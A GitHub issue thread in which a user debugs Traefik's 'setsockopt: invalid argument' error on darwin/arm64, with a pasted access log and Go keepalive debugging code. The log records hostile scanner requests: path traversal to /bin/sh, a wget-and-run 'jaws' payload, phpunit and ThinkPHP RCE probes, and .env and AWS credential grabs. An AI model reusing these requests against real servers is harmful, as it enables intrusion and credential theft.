time="2022-03-19T00:39:26+01:00" level=debug msg="Serving default certificate for request: \"\""
<redacted> - - [18/Mar/2022:23:39:26 +0000] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 404 19 "-" "-" 316 "-" "-" 0ms
<redacted> - - [19/Mar/2022:00:00:41 +0000] "GET / HTTP/1.1" 301 17 "-" "-" 317 "web-to-websecure@internal" "-" 0ms
time="2022-03-19T01:12:28+01:00" level=debug msg="Serving default certificate for request: \"\""
<redacted> - - [19/Mar/2022:00:12:28 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 318 "-" "-" 0ms
<redacted> - - [19/Mar/2022:00:13:35 +0000] "GET /boaform/admin/formLogin?username=adminisp&psd=adminisp HTTP/1.0" 404 19 "-" "-" 319 "-" "-" 0ms
<redacted> - - [19/Mar/2022:00:26:48 +0000] "GET /.env HTTP/1.1" 301 17 "-" "-" 320 "web-to-websecure@internal" "-" 0ms
<redacted> - - [19/Mar/2022:00:26:53 +0000] "POST / HTTP/1.1" 308 18 "-" "-" 321 "web-to-websecure@internal" "-" 0ms
time="2022-03-19T01:46:12+01:00" level=debug msg="Serving default certificate for request: \"\""
time="2022-03-19T02:09:56+01:00" level=debug msg="Serving default certificate for request: \"\""
<redacted> - - [19/Mar/2022:01:09:56 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 322 "-" "-" 0ms
time="2022-03-19T03:00:15+01:00" level=debug msg="Serving default certificate for request: \"\""
<redacted> - - [19/Mar/2022:02:00:16 +0000] "GET / HTTP/1.0" 404 19 "-" "-" 323 "-" "-" 0ms
time="2022-03-19T08:29:59+01:00" level=debug msg="Serving default certificate for request: \"metrics.icloud.com\""
time="2022-03-19T08:29:59+01:00" level=debug msg="http: TLS handshake error from [::1]:57178: EOF"
time="2022-03-19T08:29:59+01:00" level=debug msg="Serving default certificate for request: \"metrics.icloud.com\""
time="2022-03-19T08:29:59+01:00" level=debug msg="http: TLS handshake error from [::1]:57179: EOF"
time="2022-03-19T08:29:59+01:00" level=debug msg="Serving default certificate for request: \"metrics.icloud.com\""
time="2022-03-19T08:29:59+01:00" level=debug msg="http: TLS handshake error from [::1]:57180: tls: client using inappropriate protocol fallback"
<redacted> - - [19/Mar/2022:07:40:20 +0000] "GET /vicidial/admin.php?ADD=140000000000 HTTP/1.1" - - "-" "-" 364 "-" "-" 0ms
time="2022-03-19T09:05:37+01:00" level=debug msg="Serving default certificate for request: \"metrics.icloud.com\""
time="2022-03-19T09:05:37+01:00" level=debug msg="http: TLS handshake error from [::1]:60368: EOF"
time="2022-03-19T09:05:37+01:00" level=debug msg="Serving default certificate for request: \"metrics.icloud.com\""
time="2022-03-19T09:05:37+01:00" level=debug msg="http: TLS handshake error from [::1]:60369: EOF"
time="2022-03-19T09:05:37+01:00" level=debug msg="Serving default certificate for request: \"metrics.icloud.com\""
time="2022-03-19T09:05:37+01:00" level=debug msg="http: TLS handshake error from [::1]:60370: tls: client using inappropriate protocol fallback"
time="2022-03-19T09:15:25+01:00" level=debug msg="Serving default certificate for request: \"\""
<redacted> - - [19/Mar/2022:08:15:25 +0000] "GET /bag2 HTTP/1.1" 404 19 "-" "-" 365 "-" "-" 0ms
<redacted> - - [19/Mar/2022:08:36:49 +0000] "GET / HTTP/1.1" 301 17 "-" "-" 366 "web-to-websecure@internal" "-" 0ms
<redacted> - - [19/Mar/2022:08:43:49 +0000] "GET / HTTP/1.1" 301 17 "-" "-" 367 "web-to-websecure@internal" "-" 0ms
<redacted> - - [19/Mar/2022:08:43:53 +0000] "POST /HNAP1/ HTTP/1.1" 308 18 "-" "-" 368 "web-to-websecure@internal" "-" 0ms
<redacted> - - [19/Mar/2022:08:47:51 +0000] "GET / HTTP/1.1" 301 17 "-" "-" 369 "web-to-websecure@internal" "-" 0ms
<redacted> - - [19/Mar/2022:08:47:54 +0000] "POST /HNAP1/ HTTP/1.1" 308 18 "-" "-" 370 "web-to-websecure@internal" "-" 0ms
<redacted> - - [19/Mar/2022:08:50:24 +0000] "GET / HTTP/1.1" 301 17 "-" "-" 371 "web-to-websecure@internal" "-" 0ms
time="2022-03-19T09:50:24+01:00" level=debug msg="Serving default certificate for request: \"\""
<redacted> - - [19/Mar/2022:08:50:24 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 372 "-" "-" 0ms
<redacted> - - [19/Mar/2022:09:05:34 +0000] "GET /shell?cd+/tmp;rm+-rf+*;wget+<redacted>/jaws;sh+/tmp/jaws HTTP/1.1" 301 17 "-" "-" 373 "web-to-websecure@internal" "-" 0ms
time="2022-03-19T10:05:34+01:00" level=debug msg="http: URL query contains semicolon, which is no longer a supported separator; parts of the query may be stripped when parsed; see golang.org/issue/25192"
<redacted> - - [19/Mar/2022:10:02:29 +0000] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 308 18 "-" "-" 374 "web-to-websecure@internal" "-" 0ms
time="2022-03-19T11:02:30+01:00" level=debug msg="Serving default certificate for request: \"\""
<redacted> - - [19/Mar/2022:10:02:30 +0000] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 19 "-" "-" 375 "-" "-" 0ms
<redacted> - - [19/Mar/2022:10:30:05 +0000] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 301 17 "-" "-" 376 "web-to-websecure@internal" "-" 0ms
time="2022-03-19T11:30:05+01:00" level=debug msg="Serving default certificate for request: \"\""
<redacted> - - [19/Mar/2022:10:30:05 +0000] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 19 "-" "-" 377 "-" "-" 0ms
time="2022-03-19T11:30:08+01:00" level=debug msg="Serving default certificate for request: \"\""
<redacted> - - [19/Mar/2022:10:41:34 +0000] "GET /vicidial/admin.php?ADD=140000000000 HTTP/1.1" 301 17 "-" "-" 378 "web-to-websecure@internal" "-" 0ms
time="2022-03-19T11:41:34+01:00" level=debug msg="Serving default certificate for request: \"\""
<redacted> - - [19/Mar/2022:10:41:34 +0000] "GET /vicidial/admin.php?ADD=140000000000 HTTP/1.1" 404 19 "-" "-" 379 "-" "-" 0ms
time="2022-03-19T11:42:44+01:00" level=error msg="set tcp <redacted>:443-><redacted>:22936: setsockopt: invalid argument" entryPointName=websecure
time="2022-03-19T11:42:44+01:00" level=error msg="Error while starting server: set tcp <redacted>:443-><redacted>:22936: setsockopt: invalid argument" entryPointName=websecure
time="2022-03-19T11:42:44+01:00" level=error msg="Error while starting server: set tcp <redacted>:443-><redacted>:22936: setsockopt: invalid argument" entryPointName=websecure
<redacted> - - [19/Mar/2022:10:44:30 +0000] "GET /0bef HTTP/1.0" 404 19 "-" "-" 380 "-" "-" 0ms
<redacted> - - [19/Mar/2022:11:15:44 +0000] "GET /config/getuser?index=0 HTTP/1.1" 301 17 "-" "-" 381 "web-to-websecure@internal" "-" 0ms
<redacted> - - [19/Mar/2022:11:23:02 +0000] "GET /solr/admin/info/system?wt=json HTTP/1.1" 301 17 "-" "-" 382 "web-to-websecure@internal" "-" 0ms
<redacted> - - [19/Mar/2022:11:45:29 +0000] "GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1" 301 17 "-" "-" 383 "web-to-websecure@internal" "-" 0ms
<redacted> - - [19/Mar/2022:11:52:06 +0000] "GET / HTTP/1.1" 301 17 "-" "-" 384 "web-to-websecure@internal" "-" 0ms
<redacted> - - [19/Mar/2022:12:22:43 +0000] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 301 17 "-" "-" 385 "web-to-websecure@internal" "-" 0ms
<redacted> - - [19/Mar/2022:13:00:05 +0000] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 301 17 "-" "-" 386 "web-to-websecure@internal" "-" 0ms
<redacted> - - [19/Mar/2022:13:07:05 +0000] "GET / HTTP/1.1" 301 17 "-" "-" 387 "web-to-websecure@internal" "-" 0ms
<redacted> - - [19/Mar/2022:13:14:08 +0000] "GET / HTTP/1.1" 301 17 "-" "-" 388 "web-to-websecure@internal" "-" 0ms
<redacted> - - [19/Mar/2022:13:21:39 +0000] "GET / HTTP/1.0" 301 17 "-" "-" 389 "web-to-websecure@internal" "-" 0ms
<redacted> - - [19/Mar/2022:13:24:00 +0000] "GET /console/ HTTP/1.1" 301 17 "-" "-" 390 "web-to-websecure@internal" "-" 0ms
<redacted> - - [19/Mar/2022:13:42:20 +0000] "POST /Autodiscover/Autodiscover.xml HTTP/1.1" 308 18 "-" "-" 391 "web-to-websecure@internal" "-" 0ms
<redacted> - - [19/Mar/2022:14:18:30 +0000] "GET /_ignition/execute-solution HTTP/1.1" 301 17 "-" "-" 392 "web-to-websecure@internal" "-" 0ms
<redacted> - - [19/Mar/2022:20:48:15 +0000] "GET /.env HTTP/1.1" - - "-" "-" 413 "-" "-" 0ms
<redacted> - - [19/Mar/2022:20:48:16 +0000] "POST /.env HTTP/1.1" 308 18 "-" "-" 414 "web-to-websecure@internal" "-" 0ms
<redacted> - - [19/Mar/2022:20:48:16 +0000] "GET /.aws/credentials HTTP/1.1" 301 17 "-" "-" 415 "web-to-websecure@internal" "-" 0ms
<redacted> - - [19/Mar/2022:20:48:16 +0000] "POST /.aws/credentials HTTP/1.1" 308 18 "-" "-" 416 "web-to-websecure@internal" "-" 0ms
<redacted> - - [19/Mar/2022:20:48:16 +0000] "GET /.aws/.credentials HTTP/1.1" 301 17 "-" "-" 417 "web-to-websecure@internal" "-" 0ms
<redacted> - - [19/Mar/2022:20:48:16 +0000] "POST /.aws/.credentials HTTP/1.1" 308 18 "-" "-" 418 "web-to-websecure@internal" "-" 0ms
<redacted> - - [19/Mar/2022:20:48:17 +0000] "GET /aws/credentials HTTP/1.1" 301 17 "-" "-" 419 "web-to-websecure@internal" "-" 0ms
<redacted> - - [19/Mar/2022:20:48:17 +0000] "POST /aws/credentials HTTP/1.1" 308 18 "-" "-" 420 "web-to-websecure@internal" "-" 0ms
<redacted> - - [19/Mar/2022:20:48:17 +0000] "GET /aws/.credentials HTTP/1.1" 301 17 "-" "-" 421 "web-to-websecure@internal" "-" 0ms
<redacted> - - [19/Mar/2022:20:48:18 +0000] "POST /aws/.credentials HTTP/1.1" 308 18 "-" "-" 422 "web-to-websecure@internal" "-" 0ms
<redacted> - - [19/Mar/2022:20:48:19 +0000] "GET /public/.aws/credentials HTTP/1.1" 301 17 "-" "-" 423 "web-to-websecure@internal" "-" 0ms
<redacted> - - [19/Mar/2022:20:48:19 +0000] "POST /public/.aws/credentials HTTP/1.1" 308 18 "-" "-" 424 "web-to-websecure@internal" "-" 0ms
<redacted> - - [19/Mar/2022:20:48:19 +0000] "GET /public/.aws/.credentials HTTP/1.1" 301 17 "-" "-" 425 "web-to-websecure@internal" "-" 0ms
<redacted> - - [19/Mar/2022:20:48:20 +0000] "POST /public/.aws/.credentials HTTP/1.1" 308 18 "-" "-" 426 "web-to-websecure@internal" "-" 0ms
<redacted> - - [19/Mar/2022:20:48:20 +0000] "GET /public/aws/credentials HTTP/1.1" 301 17 "-" "-" 427 "web-to-websecure@internal" "-" 0ms
<redacted> - - [19/Mar/2022:20:48:21 +0000] "POST /public/aws/credentials HTTP/1.1" 308 18 "-" "-" 428 "web-to-websecure@internal" "-" 0ms
<redacted> - - [19/Mar/2022:20:48:22 +0000] "GET /public/aws/.credentials HTTP/1.1" 301 17 "-" "-" 429 "web-to-websecure@internal" "-" 0ms
<redacted> - - [19/Mar/2022:20:48:22 +0000] "POST /public/aws/.credentials HTTP/1.1" 308 18 "-" "-" 430 "web-to-websecure@internal" "-" 0ms
<redacted> - - [19/Mar/2022:20:54:47 +0000] "GET / HTTP/1.1" 301 17 "-" "-" 431 "web-to-websecure@internal" "-" 0ms

@jakubhajek
Copy link
Contributor

Thank you for all the information you have provided @DuckThom.

However, we have not been able to reproduce this bug in our environment and it looks like time to get more eyes on it. If any community member can help us find verify steps to reproduce, we would love the help.

Just summarize what we have already tried to verify:

  • we have tested Traefik 2.6.1 running on darwin/arm64 for some days. The configuration that has been used to the test was that provided by @DuckThom in the initial post of that thread. We were not able to reproduce setsockopt: invalid argument" issue.

@DuckThom
Copy link
Author

DuckThom commented Apr 4, 2022

I'm still trying to debug this (got a bit slowed down as I caught covid last week...)

From what I can gather it could be related to TCP KeepAlive. As such, I've currently added some debugging to this method:

func (ln tcpKeepAliveListener) Accept() (net.Conn, error) {

Specifically:

        if err := tc.SetKeepAlive(true); err != nil {
                if errors.Is(err, os.ErrInvalid) {
                        log.WithoutContext().Debugf("failed to enable TCP keepalive: %v", err)
                } else {
                        return nil, err
                }
        }

I got the idea from these PRs/Issues:

@DuckThom
Copy link
Author

@jakubhajek The error is indeed coming from this line:

if err := tc.SetKeepAlive(true); err != nil {

I modified the Accept function to look like this:

func (ln tcpKeepAliveListener) Accept() (net.Conn, error) {
        tc, err := ln.AcceptTCP()
        if err != nil {
                log.WithoutContext().Errorf("failed to accept TCP: %v", err)
                return nil, err
        }

        if err := tc.SetKeepAlive(true); err != nil {
                log.WithoutContext().Errorf("failed to enable TCP keepalive: %v", err)
                return nil, err
        }

        if err := tc.SetKeepAlivePeriod(3 * time.Minute); err != nil {
                // Some systems, such as OpenBSD, have no user-settable per-socket TCP
                // keepalive options.
                if !errors.Is(err, syscall.ENOPROTOOPT) {
                        log.WithoutContext().Errorf("failed to set TCP keepalive period: %v", err)
                        return nil, err
                }
        }

        return tc, nil
}

And let it run again for a couple of days and it just logged this error message:

time="2022-04-15T12:23:42+02:00" level=error msg="failed to enable TCP keepalive: set tcp [::c0a8:1fb]:80->20.127.91.237:56522: setsockopt: invalid argument"

Which seems to indicate that it's unable to call tc.SetKeepAlive(true) properly.

@rtribotte
Copy link
Member

Hello @DuckThom,

Sorry for the late reply, thanks for your investigations, while it is still unclear why we haven't been able to reproduce the issue on darwin/arm64 arch, we have everything we need to try something again. We will let you know the outcome.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
area/tcp kind/bug/possible a possible bug that needs analysis before it is confirmed or fixed.
Projects
Archived in project
v2
issues
Development

No branches or pull requests

6 participants